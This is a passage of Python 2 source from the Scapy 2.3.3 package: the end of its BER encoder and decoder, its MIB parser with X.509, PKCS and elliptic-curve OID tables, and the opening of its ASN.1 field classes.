check_type(cls, s): cls.check_string(s) tag, remainder = BER_id_dec(s) if cls.tag != tag: raise BER_BadTag_Decoding_Error("%s: Got tag [%i/%#x] while expecting %r" % (cls.__name__, tag, tag, cls.tag), remaining=s) return remainder @classmethod def check_type_get_len(cls, s): s2 = cls.check_type(s) if not s2: raise BER_Decoding_Error("%s: No bytes while expecting a length" % cls.__name__, remaining=s) return BER_len_dec(s2) @classmethod def check_type_check_len(cls, s): l,s3 = cls.check_type_get_len(s) if len(s3) < l: raise BER_Decoding_Error("%s: Got %i bytes while expecting %i" % (cls.__name__, len(s3), l), remaining=s) return l,s3[:l],s3[l:] @classmethod def do_dec(cls, s, context=None, safe=False): if context is None: context = cls.tag.context cls.check_string(s) p,_ = BER_id_dec(s) if p not in context: t = s if len(t) > 18: t = t[:15]+"..." raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) codec = context[p].get_codec(ASN1_Codecs.BER) return codec.dec(s,context,safe) @classmethod def dec(cls, s, context=None, safe=False): if not safe: return cls.do_dec(s, context, safe) try: return cls.do_dec(s, context, safe) except BER_BadTag_Decoding_Error,e: o,remain = BERcodec_Object.dec(e.remaining, context, safe) return ASN1_BADTAG(o),remain except BER_Decoding_Error, e: return ASN1_DECODING_ERROR(s, exc=e),"" except ASN1_Error, e: return ASN1_DECODING_ERROR(s, exc=e),"" @classmethod def safedec(cls, s, context=None): return cls.dec(s, context, safe=True) @classmethod def enc(cls, s): if type(s) is str: return BERcodec_STRING.enc(s) else: return BERcodec_INTEGER.enc(int(s)) ASN1_Codecs.BER.register_stem(BERcodec_Object) ########################## #### BERcodec objects #### ########################## class BERcodec_INTEGER(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.INTEGER @classmethod def enc(cls, i): s = [] while 1: s.append(i&0xff) if -127 <= i < 0: break if 128 <= i <= 255: s.append(0) i >>= 8 if not i: break s = map(chr, s) s.append(BER_len_enc(len(s))) s.append(chr(cls.tag)) s.reverse() return "".join(s) @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) x = 0L if s: if ord(s[0])&0x80: # negative int x = -1L for c in s: x <<= 8 x |= ord(c) return cls.asn1_object(x),t class BERcodec_BOOLEAN(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN class BERcodec_BIT_STRING(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.BIT_STRING @classmethod def do_dec(cls, s, context=None, safe=False): # /!\ the unused_bits information is lost after this decoding l,s,t = cls.check_type_check_len(s) if len(s) > 0: unused_bits = ord(s[0]) if safe and unused_bits > 7: raise BER_Decoding_Error("BERcodec_BIT_STRING: too many unused_bits advertised", remaining=s) s = "".join(binrepr(ord(x)).zfill(8) for x in s[1:]) if unused_bits > 0: s = s[:-unused_bits] return cls.tag.asn1_object(s),t else: raise BER_Decoding_Error("BERcodec_BIT_STRING found no content (not even unused_bits byte)", remaining=s) @classmethod def enc(cls,s): # /!\ this is DER encoding (bit strings are only zero-bit padded) if len(s) % 8 == 0: unused_bits = 0 else: unused_bits = 8 - len(s)%8 s += "0"*unused_bits s = "".join(chr(int("".join(x),2)) for x in zip(*[iter(s)]*8)) s = chr(unused_bits) + s return chr(cls.tag)+BER_len_enc(len(s))+s class BERcodec_STRING(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.STRING @classmethod def enc(cls,s): return chr(cls.tag)+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) return cls.tag.asn1_object(s),t class BERcodec_NULL(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.NULL @classmethod def enc(cls, i): if i == 0: return chr(cls.tag)+"\0" else: return super(cls,cls).enc(i) class BERcodec_OID(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.OID @classmethod def enc(cls, oid): lst = [int(x) for x in oid.strip(".").split(".")] if len(lst) >= 2: lst[1] += 40*lst[0] del(lst[0]) s = "".join([BER_num_enc(k) for k in lst]) return chr(cls.tag)+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) lst = [] while s: l,s = BER_num_dec(s) lst.append(l) if (len(lst) > 0): lst.insert(0,lst[0]/40) lst[1] %= 40 return cls.asn1_object(".".join([str(k) for k in lst])), t class BERcodec_ENUMERATED(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class BERcodec_UTF8_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UTF8_STRING class BERcodec_PRINTABLE_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class BERcodec_T61_STRING (BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class BERcodec_IA5_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class BERcodec_UTC_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME class BERcodec_GENERALIZED_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class BERcodec_ISO646_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.ISO646_STRING class BERcodec_UNIVERSAL_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class BERcodec_BMP_STRING (BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.BMP_STRING class BERcodec_SEQUENCE(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.SEQUENCE @classmethod def enc(cls, l): if type(l) is not str: l = "".join(map(lambda x: x.enc(cls.codec), l)) return chr(cls.tag)+BER_len_enc(len(l))+l @classmethod def do_dec(cls, s, context=None, safe=False): if context is None: context = cls.tag.context l,st = cls.check_type_get_len(s) # we may have len(s) < l s,t = st[:l],st[l:] obj = [] while s: try: o,s = BERcodec_Object.dec(s, context, safe) except BER_Decoding_Error, err: err.remaining += t if err.decoded is not None: obj.append(err.decoded) err.decoded = obj raise obj.append(o) if len(st) < l: raise BER_Decoding_Error("Not enough bytes to decode sequence", decoded=obj) return cls.asn1_object(obj),t class BERcodec_SET(BERcodec_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class BERcodec_IPADDRESS(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS @classmethod def enc(cls, ipaddr_ascii): try: s = inet_aton(ipaddr_ascii) except Exception: raise BER_Encoding_Error("IPv4 address could not be encoded") return chr(cls.tag)+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) try: ipaddr_ascii = inet_ntoa(s) except Exception: raise BER_Decoding_Error("IP address could not be decoded", decoded=obj) return cls.asn1_object(ipaddr_ascii), t class BERcodec_COUNTER32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class BERcodec_TIME_TICKS(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS scapy-2.3.3/scapy/asn1/mib.py000066400000000000000000000721011300136037300157350ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Modified by Maxence Tury ## This program is published under a GPLv2 license """ Management Information Base (MIB) parsing """ import re from glob import glob from scapy.dadict import DADict,fixname from scapy.config import conf from scapy.utils import do_graph ################# ## MIB parsing ## ################# _mib_re_integer = re.compile("^[0-9]+$") _mib_re_both = re.compile("^([a-zA-Z_][a-zA-Z0-9_-]*)\(([0-9]+)\)$") _mib_re_oiddecl = re.compile("$\s*([a-zA-Z0-9_-]+)\s+OBJECT([^:\{\}]|\{[^:]+\})+::=\s*\{([^\}]+)\}",re.M) _mib_re_strings = re.compile('"[^"]*"') _mib_re_comments = re.compile('--.*(\r|\n)') class MIBDict(DADict): def _findroot(self, x): if x.startswith("."): x = x[1:] if not x.endswith("."): x += "." max=0 root="." for k in self.iterkeys(): if x.startswith(self[k]+"."): if max < len(self[k]): max = len(self[k]) root = k return root, x[max:-1] def _oidname(self, x): root,remainder = self._findroot(x) return root+remainder def _oid(self, x): xl = x.strip(".").split(".") p = len(xl)-1 while p >= 0 and _mib_re_integer.match(xl[p]): p -= 1 if p != 0 or xl[p] not in self: return x xl[p] = self[xl[p]] return ".".join(xl[p:]) def _make_graph(self, other_keys=None, **kargs): if other_keys is None: other_keys = [] nodes = [(k, self[k]) for k in self.iterkeys()] oids = [self[k] for k in self.iterkeys()] for k in other_keys: if k not in oids: nodes.append(self.oidname(k),k) s = 'digraph "mib" {\n\trankdir=LR;\n\n' for k,o in nodes: s += '\t"%s" [ label="%s" ];\n' % (o,k) s += "\n" for k,o in nodes: parent,remainder = self._findroot(o[:-1]) remainder = remainder[1:]+o[-1] if parent != ".": parent = self[parent] s += '\t"%s" -> "%s" [label="%s"];\n' % (parent, o,remainder) s += "}\n" do_graph(s, **kargs) def __len__(self): return len(self.keys()) def mib_register(ident, value, the_mib, unresolved): if ident in the_mib or ident in unresolved: return ident in the_mib resval = [] not_resolved = 0 for v in value: if _mib_re_integer.match(v): resval.append(v) else: v = fixname(v) if v not in the_mib: not_resolved = 1 if v in the_mib: v = the_mib[v] elif v in unresolved: v = unresolved[v] if type(v) is list: resval += v else: resval.append(v) if not_resolved: unresolved[ident] = resval return False else: the_mib[ident] = resval keys = unresolved.keys() i = 0 while i < len(keys): k = keys[i] if mib_register(k,unresolved[k], the_mib, {}): del(unresolved[k]) del(keys[i]) i = 0 else: i += 1 return True def load_mib(filenames): the_mib = {'iso': ['1']} unresolved = {} for k in conf.mib.iterkeys(): mib_register(k, conf.mib[k].split("."), the_mib, unresolved) if type(filenames) is str: filenames = [filenames] for fnames in filenames: for fname in glob(fnames): f = open(fname) text = f.read() cleantext = " ".join(_mib_re_strings.split(" ".join(_mib_re_comments.split(text)))) for m in _mib_re_oiddecl.finditer(cleantext): gr = m.groups() ident,oid = gr[0],gr[-1] ident=fixname(ident) oid = oid.split() for i, elt in enumerate(oid): m = _mib_re_both.match(elt) if m: oid[i] = m.groups()[1] mib_register(ident, oid, the_mib, unresolved) newmib = MIBDict(_name="MIB") for k,o in the_mib.iteritems(): newmib[k]=".".join(o) for k,o in unresolved.iteritems(): newmib[k]=".".join(o) conf.mib=newmib #################### ## OID references ## #################### ####### pkcs1 ####### pkcs1_oids = { "rsaEncryption" : "1.2.840.113549.1.1.1", "md2WithRSAEncryption" : "1.2.840.113549.1.1.2", "md4WithRSAEncryption" : "1.2.840.113549.1.1.3", "md5WithRSAEncryption" : "1.2.840.113549.1.1.4", "sha1-with-rsa-signature" : "1.2.840.113549.1.1.5", "rsaOAEPEncryptionSET" : "1.2.840.113549.1.1.6", "id-RSAES-OAEP" : "1.2.840.113549.1.1.7", "id-mgf1" : "1.2.840.113549.1.1.8", "id-pSpecified" : "1.2.840.113549.1.1.9", "rsassa-pss" : "1.2.840.113549.1.1.10", "sha256WithRSAEncryption" : "1.2.840.113549.1.1.11", "sha384WithRSAEncryption" : "1.2.840.113549.1.1.12", "sha512WithRSAEncryption" : "1.2.840.113549.1.1.13", "sha224WithRSAEncryption" : "1.2.840.113549.1.1.14" } ####### pkcs9 ####### pkcs9_oids = { "modules" : "1.2.840.113549.1.9.0", "emailAddress" : "1.2.840.113549.1.9.1", "unstructuredName" : "1.2.840.113549.1.9.2", "contentType" : "1.2.840.113549.1.9.3", "messageDigest" : "1.2.840.113549.1.9.4", "signing-time" : "1.2.840.113549.1.9.5", "countersignature" : "1.2.840.113549.1.9.6", "challengePassword" : "1.2.840.113549.1.9.7", "unstructuredAddress" : "1.2.840.113549.1.9.8", "extendedCertificateAttributes" : "1.2.840.113549.1.9.9", "signingDescription" : "1.2.840.113549.1.9.13", "extensionRequest" : "1.2.840.113549.1.9.14", "smimeCapabilities" : "1.2.840.113549.1.9.15", "smime" : "1.2.840.113549.1.9.16", "pgpKeyID" : "1.2.840.113549.1.9.17", "friendlyName" : "1.2.840.113549.1.9.20", "localKeyID" : "1.2.840.113549.1.9.21", "certTypes" : "1.2.840.113549.1.9.22", "crlTypes" : "1.2.840.113549.1.9.23", "pkcs-9-oc" : "1.2.840.113549.1.9.24", "pkcs-9-at" : "1.2.840.113549.1.9.25", "pkcs-9-sx" : "1.2.840.113549.1.9.26", "pkcs-9-mr" : "1.2.840.113549.1.9.27", "id-aa-CMSAlgorithmProtection" : "1.2.840.113549.1.9.52" } ####### x509 ####### attributeType_oids = { "objectClass" : "2.5.4.0", "aliasedEntryName" : "2.5.4.1", "knowledgeInformation" : "2.5.4.2", "commonName" : "2.5.4.3", "surname" : "2.5.4.4", "serialNumber" : "2.5.4.5", "countryName" : "2.5.4.6", "localityName" : "2.5.4.7", "stateOrProvinceName" : "2.5.4.8", "streetAddress" : "2.5.4.9", "organizationName" : "2.5.4.10", "organizationUnitName" : "2.5.4.11", "title" : "2.5.4.12", "description" : "2.5.4.13", "searchGuide" : "2.5.4.14", "businessCategory" : "2.5.4.15", "postalAddress" : "2.5.4.16", "postalCode" : "2.5.4.17", "postOfficeBox" : "2.5.4.18", "physicalDeliveryOfficeName" : "2.5.4.19", "telephoneNumber" : "2.5.4.20", "telexNumber" : "2.5.4.21", "teletexTerminalIdentifier" : "2.5.4.22", "facsimileTelephoneNumber" : "2.5.4.23", "x121Address" : "2.5.4.24", "internationalISDNNumber" : "2.5.4.25", "registeredAddress" : "2.5.4.26", "destinationIndicator" : "2.5.4.27", "preferredDeliveryMethod" : "2.5.4.28", "presentationAddress" : "2.5.4.29", "supportedApplicationContext" : "2.5.4.30", "member" : "2.5.4.31", "owner" : "2.5.4.32", "roleOccupant" : "2.5.4.33", "seeAlso" : "2.5.4.34", "userPassword" : "2.5.4.35", "userCertificate" : "2.5.4.36", "cACertificate" : "2.5.4.37", "authorityRevocationList" : "2.5.4.38", "certificateRevocationList" : "2.5.4.39", "crossCertificatePair" : "2.5.4.40", "name" : "2.5.4.41", "givenName" : "2.5.4.42", "initials" : "2.5.4.43", "generationQualifier" : "2.5.4.44", "uniqueIdentifier" : "2.5.4.45", "dnQualifier" : "2.5.4.46", "enhancedSearchGuide" : "2.5.4.47", "protocolInformation" : "2.5.4.48", "distinguishedName" : "2.5.4.49", "uniqueMember" : "2.5.4.50", "houseIdentifier" : "2.5.4.51", "supportedAlgorithms" : "2.5.4.52", "deltaRevocationList" : "2.5.4.53", "dmdName" : "2.5.4.54", "clearance" : "2.5.4.55", "defaultDirQop" : "2.5.4.56", "attributeIntegrityInfo" : "2.5.4.57", "attributeCertificate" : "2.5.4.58", "attributeCertificateRevocationList": "2.5.4.59", "confKeyInfo" : "2.5.4.60", "aACertificate" : "2.5.4.61", "attributeDescriptorCertificate" : "2.5.4.62", "attributeAuthorityRevocationList" : "2.5.4.63", "family-information" : "2.5.4.64", "pseudonym" : "2.5.4.65", "communicationsService" : "2.5.4.66", "communicationsNetwork" : "2.5.4.67", "certificationPracticeStmt" : "2.5.4.68", "certificatePolicy" : "2.5.4.69", "pkiPath" : "2.5.4.70", "privPolicy" : "2.5.4.71", "role" : "2.5.4.72", "delegationPath" : "2.5.4.73", "protPrivPolicy" : "2.5.4.74", "xMLPrivilegeInfo" : "2.5.4.75", "xmlPrivPolicy" : "2.5.4.76", "uuidpair" : "2.5.4.77", "tagOid" : "2.5.4.78", "uiiFormat" : "2.5.4.79", "uiiInUrh" : "2.5.4.80", "contentUrl" : "2.5.4.81", "permission" : "2.5.4.82", "uri" : "2.5.4.83", "pwdAttribute" : "2.5.4.84", "userPwd" : "2.5.4.85", "urn" : "2.5.4.86", "url" : "2.5.4.87", "utmCoordinates" : "2.5.4.88", "urnC" : "2.5.4.89", "uii" : "2.5.4.90", "epc" : "2.5.4.91", "tagAfi" : "2.5.4.92", "epcFormat" : "2.5.4.93", "epcInUrn" : "2.5.4.94", "ldapUrl" : "2.5.4.95", "ldapUrl" : "2.5.4.96", "organizationIdentifier" : "2.5.4.97" } certificateExtension_oids = { "authorityKeyIdentifier" : "2.5.29.1", "keyAttributes" : "2.5.29.2", "certificatePolicies" : "2.5.29.3", "keyUsageRestriction" : "2.5.29.4", "policyMapping" : "2.5.29.5", "subtreesConstraint" : "2.5.29.6", "subjectAltName" : "2.5.29.7", "issuerAltName" : "2.5.29.8", "subjectDirectoryAttributes" : "2.5.29.9", "basicConstraints" : "2.5.29.10", "subjectKeyIdentifier" : "2.5.29.14", "keyUsage" : "2.5.29.15", "privateKeyUsagePeriod" : "2.5.29.16", "subjectAltName" : "2.5.29.17", "issuerAltName" : "2.5.29.18", "basicConstraints" : "2.5.29.19", "cRLNumber" : "2.5.29.20", "reasonCode" : "2.5.29.21", "expirationDate" : "2.5.29.22", "instructionCode" : "2.5.29.23", "invalidityDate" : "2.5.29.24", "cRLDistributionPoints" : "2.5.29.25", "issuingDistributionPoint" : "2.5.29.26", "deltaCRLIndicator" : "2.5.29.27", "issuingDistributionPoint" : "2.5.29.28", "certificateIssuer" : "2.5.29.29", "nameConstraints" : "2.5.29.30", "cRLDistributionPoints" : "2.5.29.31", "certificatePolicies" : "2.5.29.32", "policyMappings" : "2.5.29.33", "policyConstraints" : "2.5.29.34", "authorityKeyIdentifier" : "2.5.29.35", "policyConstraints" : "2.5.29.36", "extKeyUsage" : "2.5.29.37", "authorityAttributeIdentifier" : "2.5.29.38", "roleSpecCertIdentifier" : "2.5.29.39", "cRLStreamIdentifier" : "2.5.29.40", "basicAttConstraints" : "2.5.29.41", "delegatedNameConstraints" : "2.5.29.42", "timeSpecification" : "2.5.29.43", "cRLScope" : "2.5.29.44", "statusReferrals" : "2.5.29.45", "freshestCRL" : "2.5.29.46", "orderedList" : "2.5.29.47", "attributeDescriptor" : "2.5.29.48", "userNotice" : "2.5.29.49", "sOAIdentifier" : "2.5.29.50", "baseUpdateTime" : "2.5.29.51", "acceptableCertPolicies" : "2.5.29.52", "deltaInfo" : "2.5.29.53", "inhibitAnyPolicy" : "2.5.29.54", "targetInformation" : "2.5.29.55", "noRevAvail" : "2.5.29.56", "acceptablePrivilegePolicies" : "2.5.29.57", "id-ce-toBeRevoked" : "2.5.29.58", "id-ce-RevokedGroups" : "2.5.29.59", "id-ce-expiredCertsOnCRL" : "2.5.29.60", "indirectIssuer" : "2.5.29.61", "id-ce-noAssertion" : "2.5.29.62", "id-ce-aAissuingDistributionPoint" : "2.5.29.63", "id-ce-issuedOnBehaIFOF" : "2.5.29.64", "id-ce-singleUse" : "2.5.29.65", "id-ce-groupAC" : "2.5.29.66", "id-ce-allowedAttAss" : "2.5.29.67", "id-ce-attributeMappings" : "2.5.29.68", "id-ce-holderNameConstraints" : "2.5.29.69" } certExt_oids = { "cert-type" : "2.16.840.1.113730.1.1", "base-url" : "2.16.840.1.113730.1.2", "revocation-url" : "2.16.840.1.113730.1.3", "ca-revocation-url" : "2.16.840.1.113730.1.4", "ca-crl-url" : "2.16.840.1.113730.1.5", "ca-cert-url" : "2.16.840.1.113730.1.6", "renewal-url" : "2.16.840.1.113730.1.7", "ca-policy-url" : "2.16.840.1.113730.1.8", "homepage-url" : "2.16.840.1.113730.1.9", "entity-logo" : "2.16.840.1.113730.1.10", "user-picture" : "2.16.840.1.113730.1.11", "ssl-server-name" : "2.16.840.1.113730.1.12", "comment" : "2.16.840.1.113730.1.13", "lost-password-url" : "2.16.840.1.113730.1.14", "cert-renewal-time" : "2.16.840.1.113730.1.15", "aia" : "2.16.840.1.113730.1.16", "cert-scope-of-use" : "2.16.840.1.113730.1.17", } certPkixPe_oids = { "authorityInfoAccess" : "1.3.6.1.5.5.7.1.1", "biometricInfo" : "1.3.6.1.5.5.7.1.2", "qcStatements" : "1.3.6.1.5.5.7.1.3", "auditIdentity" : "1.3.6.1.5.5.7.1.4", "aaControls" : "1.3.6.1.5.5.7.1.6", "proxying" : "1.3.6.1.5.5.7.1.10", "subjectInfoAccess" : "1.3.6.1.5.5.7.1.11" } certPkixQt_oids = { "cps" : "1.3.6.1.5.5.7.2.1", "unotice" : "1.3.6.1.5.5.7.2.2" } certPkixKp_oids = { "serverAuth" : "1.3.6.1.5.5.7.3.1", "clientAuth" : "1.3.6.1.5.5.7.3.2", "codeSigning" : "1.3.6.1.5.5.7.3.3", "emailProtection" : "1.3.6.1.5.5.7.3.4", "ipsecEndSystem" : "1.3.6.1.5.5.7.3.5", "ipsecTunnel" : "1.3.6.1.5.5.7.3.6", "ipsecUser" : "1.3.6.1.5.5.7.3.7", "timeStamping" : "1.3.6.1.5.5.7.3.8", "ocspSigning" : "1.3.6.1.5.5.7.3.9", "dvcs" : "1.3.6.1.5.5.7.3.10", "secureShellClient" : "1.3.6.1.5.5.7.3.21", "secureShellServer" : "1.3.6.1.5.5.7.3.22" } certPkixAd_oids = { "ocsp" : "1.3.6.1.5.5.7.48.1", "caIssuers" : "1.3.6.1.5.5.7.48.2", "timestamping" : "1.3.6.1.5.5.7.48.3", "id-ad-dvcs" : "1.3.6.1.5.5.7.48.4", "id-ad-caRepository" : "1.3.6.1.5.5.7.48.5", "id-pkix-ocsp-archive-cutoff" : "1.3.6.1.5.5.7.48.6", "id-pkix-ocsp-service-locator" : "1.3.6.1.5.5.7.48.7", "id-ad-cmc" : "1.3.6.1.5.5.7.48.12" } ####### ansi-x962 ####### x962KeyType_oids = { "prime-field" : "1.2.840.10045.1.1", "characteristic-two-field" : "1.2.840.10045.1.2", "ecPublicKey" : "1.2.840.10045.2.1", } x962Signature_oids = { "ecdsa-with-SHA1" : "1.2.840.10045.4.1", "ecdsa-with-Recommended" : "1.2.840.10045.4.2", "ecdsa-with-SHA224" : "1.2.840.10045.4.3.1", "ecdsa-with-SHA256" : "1.2.840.10045.4.3.2", "ecdsa-with-SHA384" : "1.2.840.10045.4.3.3", "ecdsa-with-SHA512" : "1.2.840.10045.4.3.4" } ####### elliptic curves ####### ansiX962Curve_oids = { "prime192v1" : "1.2.840.10045.3.1.1", "prime192v2" : "1.2.840.10045.3.1.2", "prime192v3" : "1.2.840.10045.3.1.3", "prime239v1" : "1.2.840.10045.3.1.4", "prime239v2" : "1.2.840.10045.3.1.5", "prime239v3" : "1.2.840.10045.3.1.6", "prime256v1" : "1.2.840.10045.3.1.7" } certicomCurve_oids = { "ansit163k1" : "1.3.132.0.1", "ansit163r1" : "1.3.132.0.2", "ansit239k1" : "1.3.132.0.3", "sect113r1" : "1.3.132.0.4", "sect113r2" : "1.3.132.0.5", "secp112r1" : "1.3.132.0.6", "secp112r2" : "1.3.132.0.7", "ansip160r1" : "1.3.132.0.8", "ansip160k1" : "1.3.132.0.9", "ansip256k1" : "1.3.132.0.10", "ansit163r2" : "1.3.132.0.15", "ansit283k1" : "1.3.132.0.16", "ansit283r1" : "1.3.132.0.17", "sect131r1" : "1.3.132.0.22", "ansit193r1" : "1.3.132.0.24", "ansit193r2" : "1.3.132.0.25", "ansit233k1" : "1.3.132.0.26", "ansit233r1" : "1.3.132.0.27", "secp128r1" : "1.3.132.0.28", "secp128r2" : "1.3.132.0.29", "ansip160r2" : "1.3.132.0.30", "ansip192k1" : "1.3.132.0.31", "ansip224k1" : "1.3.132.0.32", "ansip224r1" : "1.3.132.0.33", "ansip384r1" : "1.3.132.0.34", "ansip521r1" : "1.3.132.0.35", "ansit409k1" : "1.3.132.0.36", "ansit409r1" : "1.3.132.0.37", "ansit571k1" : "1.3.132.0.38", "ansit571r1" : "1.3.132.0.39" } ####### policies ####### certPolicy_oids = { "anyPolicy" : "2.5.29.32.0" } # from Chromium source code (ev_root_ca_metadata.cc) evPolicy_oids = { "EV AC Camerfirma S.A. Chambers of Commerce Root - 2008" : "1.3.6.1.4.1.17326.10.14.2.1.2", "EV AC Camerfirma S.A. Chambers of Commerce Root - 2008" : "1.3.6.1.4.1.17326.10.14.2.2.2", "EV AC Camerfirma S.A. Global Chambersign Root - 2008" : "1.3.6.1.4.1.17326.10.8.12.1.2", "EV AC Camerfirma S.A. Global Chambersign Root - 2008" : "1.3.6.1.4.1.17326.10.8.12.2.2", "EV AddTrust/Comodo/USERTrust" : "1.3.6.1.4.1.6449.1.2.1.5.1", "EV AddTrust External CA Root" : "1.3.6.1.4.1.782.1.2.1.8.1", "EV Actualis Authentication Root CA" : "1.3.159.1.17.1", "EV AffirmTrust Commercial" : "1.3.6.1.4.1.34697.2.1", "EV AffirmTrust Networking" : "1.3.6.1.4.1.34697.2.2", "EV AffirmTrust Premium" : "1.3.6.1.4.1.34697.2.3", "EV AffirmTrust Premium ECC" : "1.3.6.1.4.1.34697.2.4", "EV Autoridad de Certificacion Firmaprofesional CIF A62634068" : "1.3.6.1.4.1.13177.10.1.3.10", "EV Baltimore CyberTrust Root" : "1.3.6.1.4.1.6334.1.100.1", "EV Buypass Class 3" : "2.16.578.1.26.1.3.3", "EV Certificate Authority of WoSign" : "1.3.6.1.4.1.36305.2", "EV CertPlus Class 2 Primary CA (KEYNECTIS)" : "1.3.6.1.4.1.22234.2.5.2.3.1", "EV Certum Trusted Network CA" : "1.2.616.1.113527.2.5.1.1", "EV China Internet Network Information Center EV Certificates Root" : "1.3.6.1.4.1.29836.1.10", "EV Cybertrust Global Root" : "1.3.6.1.4.1.6334.1.100.1", "EV DigiCert High Assurance EV Root CA" : "2.16.840.1.114412.2.1", "EV D-TRUST Root Class 3 CA 2 EV 2009" : "1.3.6.1.4.1.4788.2.202.1", "EV Entrust Certification Authority" : "2.16.840.1.114028.10.1.2", "EV Equifax Secure Certificate Authority (GeoTrust)" : "1.3.6.1.4.1.14370.1.6", "EV E-Tugra Certification Authority" : "2.16.792.3.0.4.1.1.4", "EV GeoTrust Primary Certification Authority" : "1.3.6.1.4.1.14370.1.6", "EV GlobalSign Root CAs" : "1.3.6.1.4.1.4146.1.1", "EV Go Daddy Certification Authority" : "2.16.840.1.114413.1.7.23.3", "EV Izenpe.com roots Business" : "1.3.6.1.4.1.14777.6.1.1", "EV Izenpe.com roots Government" : "1.3.6.1.4.1.14777.6.1.2", "EV Network Solutions Certificate Authority" : "1.3.6.1.4.1.781.1.2.1.8.1", "EV QuoVadis Roots" : "1.3.6.1.4.1.8024.0.2.100.1.2", "EV SecureTrust Corporation Roots" : "2.16.840.1.114404.1.1.2.4.1", "EV Security Communication RootCA1" : "1.2.392.200091.100.721.1", "EV Staat der Nederlanden EV Root CA" : "2.16.528.1.1003.1.2.7", "EV StartCom Certification Authority" : "1.3.6.1.4.1.23223.1.1.1", "EV Starfield Certificate Authority" : "2.16.840.1.114414.1.7.23.3", "EV Starfield Service Certificate Authority" : "2.16.840.1.114414.1.7.24.3", "EV SwissSign Gold CA - G2" : "2.16.756.1.89.1.2.1.1", "EV Swisscom Root EV CA 2" : "2.16.756.1.83.21.0", "EV thawte CAs" : "2.16.840.1.113733.1.7.48.1", "EV TWCA Roots" : "1.3.6.1.4.1.40869.1.1.22.3", "EV T-Telessec GlobalRoot Class 3" : "1.3.6.1.4.1.7879.13.24.1", "EV USERTrust Certification Authorities" : "1.3.6.1.4.1.6449.1.2.1.5.1", "EV ValiCert Class 2 Policy Validation Authority" : "2.16.840.1.114413.1.7.23.3", "EV VeriSign Certification Authorities" : "2.16.840.1.113733.1.7.23.6", "EV Wells Fargo WellsSecure Public Root Certification Authority" : "2.16.840.1.114171.500.9", "EV XRamp Global Certification Authority" : "2.16.840.1.114404.1.1.2.4.1", "jurisdictionOfIncorporationLocalityName" : "1.3.6.1.4.1.311.60.2.1.1", "jurisdictionOfIncorporationStateOrProvinceName" : "1.3.6.1.4.1.311.60.2.1.2", "jurisdictionOfIncorporationCountryName" : "1.3.6.1.4.1.311.60.2.1.3" } x509_oids_sets = [ pkcs1_oids, pkcs9_oids, attributeType_oids, certificateExtension_oids, certExt_oids, certPkixPe_oids, certPkixQt_oids, certPkixKp_oids, certPkixAd_oids, certPolicy_oids, evPolicy_oids, x962KeyType_oids, x962Signature_oids, ansiX962Curve_oids, certicomCurve_oids ] x509_oids = {} for oids_set in x509_oids_sets: x509_oids.update(oids_set) conf.mib = MIBDict(_name="MIB", **x509_oids) ######################### ## Hash mapping helper ## ######################### # This dict enables static access to string references to the hash functions # of some algorithms from pkcs1_oids and x962Signature_oids. hash_by_oid = { "1.2.840.113549.1.1.2" : "md2", "1.2.840.113549.1.1.3" : "md4", "1.2.840.113549.1.1.4" : "md5", "1.2.840.113549.1.1.5" : "sha1", "1.2.840.113549.1.1.11" : "sha256", "1.2.840.113549.1.1.12" : "sha384", "1.2.840.113549.1.1.13" : "sha512", "1.2.840.113549.1.1.14" : "sha224", "1.2.840.10045.4.1" : "sha1", "1.2.840.10045.4.3.1" : "sha224", "1.2.840.10045.4.3.2" : "sha256", "1.2.840.10045.4.3.3" : "sha384", "1.2.840.10045.4.3.4" : "sha512" } scapy-2.3.3/scapy/asn1fields.py000066400000000000000000000527441300136037300163700ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Enhanced by Maxence Tury ## This program is published under a GPLv2 license """ Classes that implement ASN.1 data structures. """ from scapy.asn1.asn1 import * from scapy.asn1.ber import * from scapy.asn1.mib import * from scapy.volatile import * from scapy.base_classes import BasePacket from scapy.utils import binrepr from scapy import packet class ASN1F_badsequence(Exception): pass class ASN1F_element(object): pass ########################## #### Basic ASN1 Field #### ########################## class ASN1F_field(ASN1F_element): holds_packets = 0 islist = 0 ASN1_tag = ASN1_Class_UNIVERSAL.ANY context = ASN1_Class_UNIVERSAL def __init__(self, name, default, context=None, implicit_tag=None, explicit_tag=None, flexible_tag=False): self.context = context self.name = name if default is None: self.default = None elif type(default) is ASN1_NULL: self.default = default else: self.default = self.ASN1_tag.asn1_object(default) self.flexible_tag = flexible_tag if (implicit_tag is not None) and (explicit_tag is not None): err_msg = "field cannot be both implicitly 